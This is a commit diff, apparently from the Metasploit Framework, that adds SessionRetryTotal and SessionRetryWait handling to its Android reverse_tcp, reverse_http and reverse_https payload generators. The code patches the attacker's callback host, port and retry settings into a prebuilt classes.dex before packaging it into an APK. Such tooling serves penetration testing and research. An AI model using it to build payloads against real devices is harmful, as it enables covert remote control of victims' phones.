add support for SessionRetryTotal and SessionRetryWait on Android
parent
84060bbaeb
commit
e7c8a3b56c
|
@ -31,6 +31,11 @@ module Msf::Payload::Dalvik
|
|||
[str.length].pack("N") + str
|
||||
end
|
||||
|
||||
def apply_options(classes)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
|
||||
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
|
||||
end
|
||||
|
|
|
@ -24,11 +24,6 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
|
@ -40,7 +35,8 @@ module Metasploit3
|
|||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
apply_options(classes)
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
|
|
|
@ -24,11 +24,6 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
|
@ -40,7 +35,8 @@ module Metasploit3
|
|||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
apply_options(classes)
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
|
|
|
@ -26,11 +26,6 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
|
@ -40,7 +35,8 @@ module Metasploit3
|
|||
|
||||
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
apply_options(classes)
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
|
|
Loading…
Reference in New Issue